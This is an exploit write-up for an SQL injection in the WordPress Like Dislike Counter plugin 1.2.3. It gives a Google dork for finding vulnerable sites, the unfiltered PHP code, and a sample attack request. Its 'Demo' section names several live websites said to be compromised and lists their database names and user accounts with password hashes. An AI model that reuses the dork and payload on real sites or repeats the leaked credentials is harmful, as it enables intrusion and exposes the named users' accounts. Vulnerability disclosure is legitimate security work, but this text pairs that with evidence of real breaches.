WordPress Like Dislike Counter 1.2.3 SQL Injection

`#################################################################################################  
#  
# Title : Wordpress Like Dislike Counter Plugin SQL Injection Vulnerability  
# Risk : High+/Critical  
# Exploit Author : XroGuE  
# Google Dork : inurl:plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php AND plugins/pro-like-dislike-counter/ldc-ajax-counter.php  
# Plugin Version : 1.2.3  
# Plugin Name : Like Dislike Counter  
# Plugin Download Link : http://downloads.wordpress.org/plugin/like-dislike-counter-for-posts-pages-and-comments.zip  
# Vendor Home : www.wpfruits.com  
# Date : 2014/09/05  
# Tested in : Win7 - Linux  
#  
##################################################################################################  
# This Vulnerability Available in Both Version of This Plugin (Free & Pro Version).  
#  
# PoC :  
#  
# http://localhost/wp/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php  
#  
# Vulnerable Page : ajax_counter.php  
#  
# if (!$changedDir)$changedDir = preg_replace('|wp-content.*$|','',__FILE__);  
# include_once($changedDir.'/wp-config.php');  
# if(isset($_COOKIE['ul_post_cnt']))  
# {  
# $posts_present=$_COOKIE['ul_post_cnt'];  
# }  
# else  
# {  
# $posts_present=array();  
# }  
# // Here ------------------------> Inputs Not Filtered ! :|  
# $post_id=$_POST['post_id'];  
# $up_type=$_POST['up_type'];  
# // Here <------------------------  
# if($up_type=='c_like'||$up_type=='c_dislike')  
# {  
# $for_com='c_';  
# }  
# else  
# {  
# $for_com='';  
# }  
# if(!in_array($for_com.$post_id,$posts_present))  
# {  
# update_post_ul_meta($post_id,$up_type);  
# }  
# echo get_post_ul_meta($post_id,$up_type);  
#  
##################################################################################################  
# POST wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php HTTP/1.1  
# Host: localhost  
# User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0 AlexaToolbar/alxf-2.21  
# Accept: */*  
# Accept-Language: en-US,en;q=0.5  
# Accept-Encoding: gzip, deflate  
# Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
# X-Requested-With: XMLHttpRequest  
# Referer: http://localhost/wp/  
# Content-Length: 24  
# Connection: keep-alive  
# Pragma: no-cache  
# Cache-Control: no-cache  
# post_id=1&up_type=like  
##################################################################################################  
#  
# Demo :  
#  
# http://plugins.wpfruits.com/like-dislike/wp-content/plugins/pro-like-dislike-counter/ldc-ajax-counter.php  
# => database: tikendra_wpf-plugins  
# => Version : 5.5.37-35.1  
#  
#  
#  
# http://prettyhipsounds.com/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php  
# => Database:pre1302309360573  
# => Version : 5.0.96-log  
# => Users : cemruso:$P$BKlsLJRwcdsKcdRdwyrqLbM7tJKENC.,manolyasagisman:$P$B8eZQzrHSTuWiF4bFX3Yrm0cI7rAFP1,ekinsezgen:$P$BskJZO4e6qkLT5HX2U928SRhO/Ekg4.,hedazs35:$P$BoBHjAZAJCWvXb7IF9t/Kb0DJpGoir1,yhdbhet5e:$P$Bsl67YzrizI.29yr1y1BzbUJmkrJuT1,olandonanto:$P$BVyD5JJKOuRMR/Cq6u.VFWP.HV8Okn1,vt1f6zfo0:$P$BMSQwc1hKlJvo.4/5oddH62gKFrfBL1,lxbc4fyi:$P$BJD5FOSx  
#  
#  
#  
# http://www.dropboxwiki.com/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php  
# => Database: wp_dropboxwiki  
# => Version : 5.5.31-30.3-log  
# => prefix : u2ffvh  
# => Users : nathan:$P$B9cFMVh7xTnh9ewmBDylwcn1zOMjTa/,andy:$P$BIGexE1YxoK0Y6AI4C29X6yse039Gl1,chris:$P$ByJuX/oNlNcCni7NO8/mTAtUQ/Bz/A/,mark:$P$BdQh8JbAEbtwnZhFZQA96afhc4e/Kq/,tommy:$P$BWHket1yb/Aybpm9RViVcw2o6UcAzg.,Endeavour:$P$B0gdPF/kjiO4nqin.WhHEkwlFPyC0/0,dgw:$P$B6gYWX8G/1w5vXXcmX.Q4cIrl3eL10.,[email protected]:$P$BSjAU.VnHzE62yuXLEeOvwci/CeWOT/,jr  
#  
#  
#  
# http://xploit.ir/wp-content/plugins/like-dislike-counter-for-posts-pages-and-comments/ajax_counter.php  
# => Database: mrcicili_xploitdb  
# => users : xploitadminblog:$P$BVKlsUqLMQNiARyZYxQGY0mFB4.DjG0,Leonie4295:$P$Btyo/bqbXcpoICDO7gcbVyJlcC4yWa0,p-41:$P$BAItbiw3K7uFMT70JZba2IfNOGWgjL0  
#  
##################################################################################################  
#  
# Founded By : XroGuE  
# Website : http://www.Att4ck3r.ir  
# E-Mail : info[at]att4ck3r[Dot]ir  
#  
##################################################################################################  
`